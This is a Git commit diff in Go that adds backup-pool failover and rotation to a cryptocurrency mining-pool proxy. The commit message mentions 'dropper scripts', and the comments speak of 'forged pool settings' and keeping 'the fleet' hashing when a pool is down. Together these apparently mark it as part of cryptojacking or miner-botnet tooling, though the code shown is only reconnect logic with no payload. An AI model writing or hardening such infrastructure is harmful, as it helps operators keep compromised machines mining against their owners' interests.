fix: pool backup failover on reconnect, perfect dropper scripts, bcrypt password hashing
This commit is contained in:
@@ -46,6 +46,19 @@ func poolKey(cfg *Config) string {
|
||||
return fmt.Sprintf("%s:%d:tls=%v:wallet=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet)
|
||||
}
|
||||
|
||||
// EnsurePoolWithBackups is like EnsurePool but also registers backup configs
|
||||
// that the proxy will rotate through on reconnect.
|
||||
func (m *Manager) EnsurePoolWithBackups(cfg *Config, backups []Config) (*Proxy, error) {
|
||||
p, err := m.EnsurePool(cfg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(backups) > 0 {
|
||||
p.SetBackupConfigs(backups)
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// EnsurePool returns a connected proxy for the forged pool settings, starting one if needed.
|
||||
func (m *Manager) EnsurePool(cfg *Config) (*Proxy, error) {
|
||||
if cfg == nil || cfg.Host == "" {
|
||||
|
||||
@@ -84,6 +84,14 @@ type Proxy struct {
|
||||
reconnecting bool
|
||||
reconnectDelay time.Duration
|
||||
verboseTraffic bool
|
||||
|
||||
// Pool failover: if the active config fails on reconnect, cycle through
|
||||
// these alternatives before giving up. The primary Config is always index -1
|
||||
// (the original); backups are tried in order. primaryConfig preserves the
|
||||
// original so we can reset after a full round fails.
|
||||
primaryConfig Config
|
||||
backupConfigs []Config
|
||||
backupIdx int // next backup to try
|
||||
}
|
||||
|
||||
type PendingShare struct {
|
||||
@@ -116,6 +124,7 @@ type Config struct {
|
||||
func NewProxy(cfg *Config) *Proxy {
|
||||
return &Proxy{
|
||||
config: cfg,
|
||||
primaryConfig: *cfg,
|
||||
stopCh: make(chan struct{}),
|
||||
shareQueue: make(chan *PendingShare, 100),
|
||||
pendingResults: make(map[int]*pendingShareResult),
|
||||
@@ -123,6 +132,14 @@ func NewProxy(cfg *Config) *Proxy {
|
||||
}
|
||||
}
|
||||
|
||||
// SetBackupConfigs registers fallback pool configs tried in order when the
|
||||
// active config fails on reconnect. Call before Start().
|
||||
func (p *Proxy) SetBackupConfigs(backups []Config) {
|
||||
p.mu.Lock()
|
||||
p.backupConfigs = backups
|
||||
p.mu.Unlock()
|
||||
}
|
||||
|
||||
func (p *Proxy) SetReconnectDelay(d time.Duration) {
|
||||
if d > 0 {
|
||||
p.mu.Lock()
|
||||
@@ -702,18 +719,64 @@ func (p *Proxy) reconnect() {
|
||||
default:
|
||||
}
|
||||
|
||||
if err := p.connect(); err != nil {
|
||||
log.Printf("[Pool] Reconnect failed: %v", err)
|
||||
if p.onError != nil {
|
||||
p.onError(fmt.Errorf("pool reconnect failed: %w", err))
|
||||
// Build the full candidate list: [current primary] + backup configs.
|
||||
// If the primary fails we rotate through backups so the fleet keeps hashing
|
||||
// even when the configured pool is down.
|
||||
p.mu.RLock()
|
||||
primary := p.primaryConfig
|
||||
backups := append([]Config(nil), p.backupConfigs...) // copy
|
||||
startIdx := p.backupIdx
|
||||
p.mu.RUnlock()
|
||||
|
||||
candidates := make([]Config, 0, 1+len(backups))
|
||||
candidates = append(candidates, primary)
|
||||
candidates = append(candidates, backups...)
|
||||
|
||||
total := len(candidates)
|
||||
for i := 0; i < total; i++ {
|
||||
// Rotate: try startIdx (last successful backup) before falling back to primary
|
||||
idx := (startIdx + i) % total
|
||||
cfg := candidates[idx]
|
||||
|
||||
p.mu.Lock()
|
||||
*p.config = cfg
|
||||
p.mu.Unlock()
|
||||
|
||||
if err := p.connect(); err != nil {
|
||||
label := "primary"
|
||||
if idx > 0 {
|
||||
label = fmt.Sprintf("backup#%d (%s:%d)", idx, cfg.Host, cfg.Port)
|
||||
}
|
||||
log.Printf("[Pool] Reconnect to %s failed: %v", label, err)
|
||||
continue
|
||||
}
|
||||
time.Sleep(30 * time.Second)
|
||||
select {
|
||||
case <-p.stopCh:
|
||||
return
|
||||
default:
|
||||
p.scheduleReconnect()
|
||||
|
||||
// Succeeded — remember where we are so next reconnect starts here
|
||||
p.mu.Lock()
|
||||
p.backupIdx = idx
|
||||
p.mu.Unlock()
|
||||
if idx > 0 {
|
||||
log.Printf("[Pool] Now connected to backup#%d (%s:%d)", idx, cfg.Host, cfg.Port)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// All candidates failed
|
||||
if p.onError != nil {
|
||||
p.onError(fmt.Errorf("all pool endpoints unreachable (%d tried)", total))
|
||||
}
|
||||
// Restore primary so next cycle starts fresh
|
||||
p.mu.Lock()
|
||||
*p.config = primary
|
||||
p.backupIdx = 0
|
||||
p.mu.Unlock()
|
||||
|
||||
time.Sleep(30 * time.Second)
|
||||
select {
|
||||
case <-p.stopCh:
|
||||
return
|
||||
default:
|
||||
p.scheduleReconnect()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user